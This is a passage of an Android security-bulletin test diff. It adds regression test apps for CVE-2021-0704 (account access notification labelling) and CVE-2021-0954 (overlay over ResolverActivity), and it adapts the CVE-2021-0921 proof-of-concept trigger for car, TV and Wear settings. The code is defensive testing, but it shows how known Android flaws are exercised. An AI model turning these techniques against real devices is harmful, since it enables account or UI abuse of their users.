+ public Bundle getAccountRemovalAllowed(AccountAuthenticatorResponse response,
+ Account account) throws NetworkErrorException {
+ return null;
+ }
+
+ @Override
+ public Bundle editProperties(AccountAuthenticatorResponse response, String accountType) {
+ return null;
+ }
+
+ @Override
+ public Bundle confirmCredentials(AccountAuthenticatorResponse response, Account account,
+ Bundle bundle) throws NetworkErrorException {
+ return null;
+ }
+
+ @Override
+ public String getAuthTokenLabel(String tokenName) {
+ return null;
+ }
+
+ @Override
+ public Bundle updateCredentials(AccountAuthenticatorResponse response, Account account,
+ String tokenType, Bundle bundle) throws NetworkErrorException {
+ return null;
+ }
+
+ @Override
+ public Bundle hasFeatures(AccountAuthenticatorResponse response, Account account,
+ String[] options) throws NetworkErrorException {
+ return null;
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0704/stub-app/src/android/security/cts/CVE_2021_0704_stub/StubProvider.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0704/stub-app/src/android/security/cts/CVE_2021_0704_stub/StubProvider.java
new file mode 100644
index 0000000..50da1f9
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0704/stub-app/src/android/security/cts/CVE_2021_0704_stub/StubProvider.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0704_stub;
+
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.Uri;
+
+public class StubProvider extends ContentProvider {
+
+ @Override
+ public boolean onCreate() {
+ return false;
+ }
+
+ @Override
+ public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
+ String sortOrder) {
+ return null;
+ }
+
+ @Override
+ public String getType(Uri uri) {
+ return null;
+ }
+
+ @Override
+ public Uri insert(Uri uri, ContentValues values) {
+ return null;
+ }
+
+ @Override
+ public int delete(Uri uri, String selection, String[] selectionArgs) {
+ return 0;
+ }
+
+ @Override
+ public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
+ return 0;
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0704/test-app/Android.bp
similarity index 89%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-0704/test-app/Android.bp
index 50acd29..ebbec94 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0704/test-app/Android.bp
@@ -20,18 +20,20 @@
}
android_test_helper_app {
- name: "CVE-2021-0642",
+ name: "CVE-2021-0704-test",
+ certificate: ":cts-testkey2",
defaults: [
"cts_support_defaults",
],
- srcs: ["src/**/*.java"],
+ srcs: [
+ "src/**/*.java",
+ ],
test_suites: [
"sts",
],
static_libs: [
"androidx.test.core",
"androidx.test.rules",
- "androidx.test.uiautomator_uiautomator",
],
sdk_version: "current",
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0704/test-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0704/test-app/AndroidManifest.xml
new file mode 100644
index 0000000..65a3d58
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0704/test-app/AndroidManifest.xml
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2021_0704_test">
+ <uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
+ <application android:label="@string/accountAppLabel">
+ <service android:name=".SyncService"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.content.SyncAdapter" />
+ </intent-filter>
+ <meta-data android:name="android.content.SyncAdapter"
+ android:resource="@xml/syncadapter" />
+ </service>
+ <service android:name=".ListenerService"
+ android:exported="true"
+ android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
+ <intent-filter>
+ <action android:name="android.service.notification.NotificationListenerService" />
+ </intent-filter>
+ </service>
+ </application>
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_0704_test" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0704/test-app/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0704/test-app/res/values/strings.xml
new file mode 100644
index 0000000..26262bf
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0704/test-app/res/values/strings.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="accountAppLabel">CVE–2021–0704–test</string>
+ <string name="accountName">foo</string>
+ <string name="accountType">com.stub</string>
+ <string name="actionTestFail">CVE_2021_0704_fail</string>
+ <string name="actionTestPass">CVE_2021_0704_pass</string>
+ <string name="cmdNotifAllowListener">cmd notification allow_listener %1$s 0</string>
+ <string name="cmdNotifDisallowListener">cmd notification disallow_listener %1$s 0</string>
+ <string name="contentAuthority">android.security.cts.CVE_2021_0704_stub.provider</string>
+ <string name="failMsg">Vulnerable to b/179338675 !!</string>
+ <string name="msgNotGrantedAccess">%1$s has not been granted access</string>
+ <string name="patternAccMgrService">.*AccountManagerService.*</string>
+ <string name="pkgAndroid">android</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0704/test-app/res/xml/syncadapter.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0704/test-app/res/xml/syncadapter.xml
new file mode 100644
index 0000000..c3f9055
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0704/test-app/res/xml/syncadapter.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<sync-adapter xmlns:android="http://schemas.android.com/apk/res/android"
+ android:contentAuthority="@string/contentAuthority"
+ android:accountType="@string/accountType"
+ android:userVisible="false"
+ android:supportsUploading="false"
+ android:allowParallelSyncs="false"
+ android:isAlwaysSyncable="true" />
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0704/test-app/src/android/security/cts/CVE_2021_0704_test/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0704/test-app/src/android/security/cts/CVE_2021_0704_test/DeviceTest.java
new file mode 100644
index 0000000..1892044
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0704/test-app/src/android/security/cts/CVE_2021_0704_test/DeviceTest.java
@@ -0,0 +1,123 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0704_test;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.accounts.AccountManager;
+import android.app.NotificationManager;
+import android.app.UiAutomation;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ private static final int TIMEOUT_SEC = 10;
+
+ @Test
+ public void testAccountsObtainable() {
+ String listenerName = null;
+ Intent intent = null;
+ Context context = null;
+ UiAutomation uiAutomation = null;
+ try {
+ context = getInstrumentation().getTargetContext();
+ uiAutomation = getInstrumentation().getUiAutomation();
+
+ // Allow the Notification Listener Service "ListenerService" to receive notifications
+ ComponentName listenerComponent = new ComponentName(context, ListenerService.class);
+ listenerName = listenerComponent.flattenToString();
+ uiAutomation.executeShellCommand(
+ context.getString(R.string.cmdNotifAllowListener, listenerName));
+ NotificationManager notificationManager =
+ context.getSystemService(NotificationManager.class);
+
+ // Wait for the notification listener service to be granted access
+ final long timeoutMs = 5000;
+ final long startTime = System.currentTimeMillis();
+ while (System.currentTimeMillis() - startTime < timeoutMs && !notificationManager
+ .isNotificationListenerAccessGranted(listenerComponent)) {
+ Thread.sleep(100);
+ }
+ assumeTrue(context.getString(R.string.msgNotGrantedAccess, listenerName),
+ notificationManager.isNotificationListenerAccessGranted(listenerComponent));
+
+ // Add an account and start sync service to trigger account authentication
+ AccountManager accountManager = context.getSystemService(AccountManager.class);
+ accountManager.addAccount(context.getString(R.string.accountType), null, null, null,
+ null, null, null);
+ intent = new Intent(context, SyncService.class);
+ context.startService(intent);
+
+ // Defining a receiver here to wait for a broadcast from ListenerService
+ CompletableFuture<Boolean> vulNotifFoundReturn = new CompletableFuture<>();
+ BroadcastReceiver broadcastReceiver = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ try {
+ if (intent.getAction().equals(context.getString(R.string.actionTestFail))) {
+ vulNotifFoundReturn.complete(true);
+ } else if (intent.getAction()
+ .equals(context.getString(R.string.actionTestPass))) {
+ vulNotifFoundReturn.complete(false);
+ }
+ } catch (Exception ignored) {
+ // ignore any exceptions.
+ }
+ }
+ };
+ IntentFilter filter = new IntentFilter();
+ filter.addAction(context.getString(R.string.actionTestFail));
+ filter.addAction(context.getString(R.string.actionTestPass));
+ context.registerReceiver(broadcastReceiver, filter);
+
+ // Wait for the broadcast from the ListenerService. On vulnerable device, account access
+ // notification will not contain test package label, detecting this, broadcast is
+ // triggered and received within timeout.
+ assertFalse(context.getString(R.string.failMsg),
+ vulNotifFoundReturn.get(TIMEOUT_SEC, TimeUnit.SECONDS));
+ } catch (Exception e) {
+ assumeNoException(e);
+ } finally {
+ try {
+ // Stopping sync service
+ context.stopService(intent);
+
+ // Stopping notification listener
+ uiAutomation.executeShellCommand(
+ context.getString(R.string.cmdNotifDisallowListener, listenerName));
+ } catch (Exception ignored) {
+ // ignore all exceptions as the test has been completed.
+ }
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0704/test-app/src/android/security/cts/CVE_2021_0704_test/ListenerService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0704/test-app/src/android/security/cts/CVE_2021_0704_test/ListenerService.java
new file mode 100644
index 0000000..71a7423
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0704/test-app/src/android/security/cts/CVE_2021_0704_test/ListenerService.java
@@ -0,0 +1,83 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0704_test;
+
+import android.app.Notification;
+import android.app.NotificationManager;
+import android.content.Intent;
+import android.os.Bundle;
+import android.service.notification.NotificationListenerService;
+import android.service.notification.StatusBarNotification;
+
+import java.util.regex.Pattern;
+
+public class ListenerService extends NotificationListenerService {
+
+ @Override
+ public void onListenerConnected() {
+ try {
+ for (StatusBarNotification sbn : getActiveNotifications()) {
+ if (broadcastIfVulnerableNotificationFound(sbn)) {
+ break;
+ }
+ }
+ } catch (Exception ignored) {
+ // ignore exceptions here since they maybe because of missing tag, notification text,
+ // etc. from notifications unrelated to the test.
+ }
+ }
+
+ @Override
+ public void onNotificationPosted(StatusBarNotification sbn) {
+ try {
+ broadcastIfVulnerableNotificationFound(sbn);
+ } catch (Exception ignored) {
+ // ignore exceptions here since they maybe because of missing tag, notification text,
+ // etc. from notifications unrelated to the test.
+ }
+ }
+
+ private boolean broadcastIfVulnerableNotificationFound(StatusBarNotification sbn) {
+ // Get text and title from the notification
+ Bundle notificationExtras = sbn.getNotification().extras;
+ String notificationText = notificationExtras.getString(Notification.EXTRA_TEXT);
+ String notificationTitle = notificationExtras.getString(Notification.EXTRA_TITLE);
+
+ // Sending broadcast if account notification access notification is received successfully
+ // with status as vulnerable if notification title doesn't contain account app label and
+ // notification belongs to test package.
+ Pattern pattern =
+ Pattern.compile(getString(R.string.patternAccMgrService), Pattern.CASE_INSENSITIVE);
+ if (pattern.matcher(sbn.getTag()).find()
+ && notificationText.contains(getString(R.string.accountName))) {
+ // Cancel the notification since relevant information has been already extracted.
+ NotificationManager notificationManager = getSystemService(NotificationManager.class);
+ notificationManager.cancel(sbn.getTag(), sbn.getId());
+
+ if (sbn.getPackageName().equalsIgnoreCase(getPackageName())
+ && !notificationTitle.contains(getString(R.string.accountAppLabel))) {
+ sendBroadcast(new Intent(getString(R.string.actionTestFail)));
+ return true;
+ } else if (sbn.getPackageName().equalsIgnoreCase(getString(R.string.pkgAndroid))
+ && notificationTitle.contains(getString(R.string.accountAppLabel))) {
+ sendBroadcast(new Intent(getString(R.string.actionTestPass)));
+ return true;
+ }
+ }
+ return false;
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0704/test-app/src/android/security/cts/CVE_2021_0704_test/SyncService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0704/test-app/src/android/security/cts/CVE_2021_0704_test/SyncService.java
new file mode 100644
index 0000000..e776c23
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0704/test-app/src/android/security/cts/CVE_2021_0704_test/SyncService.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0704_test;
+
+import android.accounts.Account;
+import android.app.Service;
+import android.content.AbstractThreadedSyncAdapter;
+import android.content.ContentProviderClient;
+import android.content.Context;
+import android.content.Intent;
+import android.content.SyncResult;
+import android.os.Bundle;
+import android.os.IBinder;
+
+public class SyncService extends Service {
+ private static SyncAdapter sSyncAdapter = null;
+ private static final Object sSyncAdapterLock = new Object();
+
+ @Override
+ public int onStartCommand(Intent intent, int flags, int startId) {
+ try {
+ synchronized (sSyncAdapterLock) {
+ if (sSyncAdapter == null) {
+ sSyncAdapter = new SyncAdapter(this, true);
+ }
+ }
+ return super.onStartCommand(intent, flags, startId);
+ } catch (Exception ignored) {
+ // ignore any exceptions.
+ }
+ return 0;
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ try {
+ return sSyncAdapter.getSyncAdapterBinder();
+ } catch (Exception ignored) {
+ // ignore any exceptions.
+ }
+ return null;
+ }
+
+ public class SyncAdapter extends AbstractThreadedSyncAdapter {
+
+ public SyncAdapter(Context context, boolean autoInitialize) {
+ super(context, autoInitialize);
+ }
+
+ @Override
+ public boolean onUnsyncableAccount() {
+ return true;
+ }
+
+ @Override
+ public void onPerformSync(Account account, Bundle extras, String authority,
+ ContentProviderClient provider, SyncResult syncResult) {
+ return;
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/Trigger.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/Trigger.java
index 167a849..3b19485 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/Trigger.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/Trigger.java
@@ -11,8 +11,6 @@
import java.io.File;
-import static org.junit.Assume.assumeNoException;
-
public class Trigger {
private static final String TAG = "TAG_2021_0921.Trigger";
private Context mContext;
@@ -26,8 +24,19 @@
return pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
}
+ private static boolean isWear(Context context) {
+ PackageManager pm = context.getPackageManager();
+ return pm.hasSystemFeature(PackageManager.FEATURE_WATCH);
+ }
+
+ private static boolean isTv(Context context) {
+ PackageManager pm = context.getPackageManager();
+ return pm.hasSystemFeature(PackageManager.FEATURE_TELEVISION);
+ }
+
public void accountSettings() {
Log.d(TAG, "accountSettings() start");
+ String exitMessage = "accountSettings() end";
//replaces intent.setAction(Intent.ACTION_REBOOT) in original Poc
Intent arbitraryIntent = new Intent(mContext, TestActivity.class);
@@ -36,8 +45,19 @@
Authenticator.mIntent = arbitraryIntent;
Intent intent = new Intent();
- String pkg = isCar(mContext) ? "com.android.car.settings" : "com.android.settings";
- intent.setComponent(new ComponentName(pkg, pkg + ".accounts.AddAccountSettings"));
+ String pkg = "com.android.settings";
+ if (isCar(mContext)) {
+ pkg = "com.android.car.settings";
+ intent.setComponent(new ComponentName(pkg, pkg + ".accounts.AddAccountActivity"));
+ } else if (isTv(mContext)) {
+ pkg = "com.android.tv.settings";
+ intent.setComponent(new ComponentName(pkg, pkg + ".accounts.AddAccountWithTypeActivity"));
+ } else if (isWear(mContext)) {
+ pkg = "com.google.android.clockwork.home";
+ intent.setComponent(new ComponentName(pkg, pkg + ".accounts.SetupAccountReceiver"));
+ } else {
+ intent.setComponent(new ComponentName(pkg, pkg + ".accounts.AddAccountSettings"));
+ }
intent.setAction(Intent.ACTION_RUN);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
String authTypes[] = {"android.security.cts"};
@@ -47,8 +67,9 @@
try {
mContext.startActivity(intent);
} catch (ActivityNotFoundException e) {
- assumeNoException(e);
+ // activity does not exist on this device
+ exitMessage = "accountSettings() failure: activity does not exist on this device";
}
- Log.d(TAG, "accountSettings() end");
+ Log.d(TAG, exitMessage);
}
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/Android.bp
index aa9f71f..59350cf 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/Android.bp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -18,10 +18,10 @@
android_test_helper_app {
name: "CVE-2021-0954",
defaults: ["cts_support_defaults"],
- srcs: ["src/**/*.java"],
+ srcs: [
+ "src/**/*.java"
+ ],
test_suites: [
- "cts",
- "vts10",
"sts",
],
static_libs: [
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/AndroidManifest.xml
index a7e0218..75299c4 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/AndroidManifest.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/AndroidManifest.xml
@@ -1,5 +1,5 @@
<!--
- Copyright 2021 The Android Open Source Project
+ Copyright 2022 The Android Open Source Project
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
@@ -13,25 +13,19 @@
See the License for the specific language governing permissions and
limitations under the License.
-->
+
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
- package="android.security.cts.cve_2021_0954"
+ package="android.security.cts.CVE_2021_0954"
android:versionCode="1"
android:versionName="1.0">
-
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
-
- <application
- android:allowBackup="true"
- android:label="CVE_2021_0954"
- android:supportsRtl="true">
- <uses-library android:name="android.test.runner" />
+ <application>
<service android:name=".PocService"
android:enabled="true"
- android:exported="false" />
+ android:exported="true" />
</application>
-
<instrumentation
android:name="androidx.test.runner.AndroidJUnitRunner"
- android:targetPackage="android.security.cts.cve_2021_0954" />
+ android:targetPackage="android.security.cts.CVE_2021_0954" />
</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/res/values/integers.xml
new file mode 100644
index 0000000..363df00
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/res/values/integers.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <integer name="assumptionFailure">-1</integer>
+ <integer name="noAssumptionFailure">0</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/res/values/strings.xml
new file mode 100644
index 0000000..7c4d959
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/res/values/strings.xml
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<resources>
+ <string name="canNotDrawOverlaysMsg">The application cannot draw overlays</string>
+ <string name="defaultSemaphoreMsg">Could not get message key in shared preferences</string>
+ <string name="cmdDumpsysActivity">dumpsys activity %1$s</string>
+ <string name="empty"></string>
+ <string name="overlayErrorMessage">Device is vulnerable to b/143559931 hence any app with
+ "SYSTEM_ALERT_WINDOW can overlay the %1$s screen</string>
+ <string name="mResumedTrue">mResumed=true</string>
+ <string name="messageKey">message</string>
+ <string name="overlayButtonText">OverlayButton</string>
+ <string name="overlayUiScreenError">Overlay UI did not appear on the screen</string>
+ <string name="resultKey">result</string>
+ <string name="sharedPreferences">CVE_2021_0954_prefs</string>
+ <string name="timedOutPocActivity">Timed out waiting on a result from PocActivity</string>
+ <string name="vulClass">com.android.internal.app.ResolverActivity</string>
+ <string name="vulClassAuto">com.android.car.activityresolver.CarResolverActivity</string>
+ <string name="vulPkg">android</string>
+ <string name="vulPkgAuto">com.android.car.activityresolver</string>
+ <string name="vulActivityNotRunningError">The %1$s is not currently running on the device
+ </string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/src/android/security/cts/CVE_2021_0954/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/src/android/security/cts/CVE_2021_0954/DeviceTest.java
index f986906..9a94ef9 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/src/android/security/cts/CVE_2021_0954/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/src/android/security/cts/CVE_2021_0954/DeviceTest.java
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -14,17 +14,20 @@
* limitations under the License.
*/
-package android.security.cts.cve_2021_0954;
+package android.security.cts.CVE_2021_0954;
import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assume.assumeNoException;
-import android.content.ActivityNotFoundException;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
import android.content.Context;
import android.content.Intent;
+import android.content.SharedPreferences;
+import android.content.SharedPreferences.OnSharedPreferenceChangeListener;
+import android.content.pm.PackageManager;
import android.provider.Settings;
import androidx.test.runner.AndroidJUnit4;
@@ -32,90 +35,107 @@
import androidx.test.uiautomator.UiDevice;
import androidx.test.uiautomator.Until;
-import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
-import java.io.IOException;
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
import java.util.regex.Pattern;
@RunWith(AndroidJUnit4.class)
public class DeviceTest {
- private static final String TEST_PKG = "android.security.cts.cve_2021_0954";
- private static final String TEST_VULNERABLE_PKG = "android";
- private static final String TEST_VULNERABLE_ACTIVITY =
- "com.android.internal.app.ResolverActivity";
- private static final int LAUNCH_TIMEOUT_MS = 20000;
- private static final String vulnerableActivityName = "ResolverActivity";
- private UiDevice mDevice;
- String activityDump = "";
+ private Context mContext = getApplicationContext();
+ private static final int TIMEOUT_MS = 10000;
- private void startOverlayService() {
- Context context = getApplicationContext();
- assertNotNull(context);
- Intent intent = new Intent(context, PocService.class);
- assertNotNull(intent);
-
- if (Settings.canDrawOverlays(getApplicationContext())) {
- context.startService(intent);
- } else {
- try {
- context.startService(intent);
- } catch (Exception e) {
- throw new RuntimeException("Unable to start the overlay service", e);
- }
- }
+ private boolean hasFeature(String feature) {
+ return mContext.getPackageManager().hasSystemFeature(feature);
}
- public void startVulnerableActivity() {
- Context context = getApplicationContext();
- Intent intent = new Intent();
- intent.setClassName(TEST_VULNERABLE_PKG, TEST_VULNERABLE_ACTIVITY);
- intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
- try {
- context.startActivity(intent);
- } catch (ActivityNotFoundException e) {
- assumeNoException("Activity not found on device", e);
- }
+ private boolean isAuto() {
+ return hasFeature(PackageManager.FEATURE_AUTOMOTIVE);
}
- @Before
- public void setUp() throws Exception {
- mDevice = UiDevice.getInstance(getInstrumentation());
+ String getStringRes(int key) {
+ return mContext.getResources().getString(key);
+ }
- /* Start the vulnerable activity */
- startVulnerableActivity();
- if (!mDevice.wait(Until.hasObject(By.res("android:id/contentPanel")
- .clazz("android.widget.ScrollView").pkg("android")), LAUNCH_TIMEOUT_MS)) {
- return;
- }
+ String getStringResWithArg(int key, String arg) {
+ return mContext.getResources().getString(key, arg);
+ }
- /* Start the overlay service */
- startOverlayService();
+ int getIntegerRes(int key) {
+ return mContext.getResources().getInteger(key);
}
@Test
- public void testVulnerableActivityPresence() {
- Pattern overlayTextPattern = Pattern.compile("OverlayButton", Pattern.CASE_INSENSITIVE);
- if (!mDevice.wait(Until.hasObject(By.text(overlayTextPattern)), LAUNCH_TIMEOUT_MS)) {
- return;
- }
-
- /*
- * Check if the currently running activity is the vulnerable activity, if not abort the test
- */
+ public void testOverlayButtonPresence() {
try {
- activityDump = mDevice.executeShellCommand("dumpsys activity");
- } catch (IOException e) {
- throw new RuntimeException("Could not execute dumpsys activity command");
+ UiDevice device = UiDevice.getInstance(getInstrumentation());
+
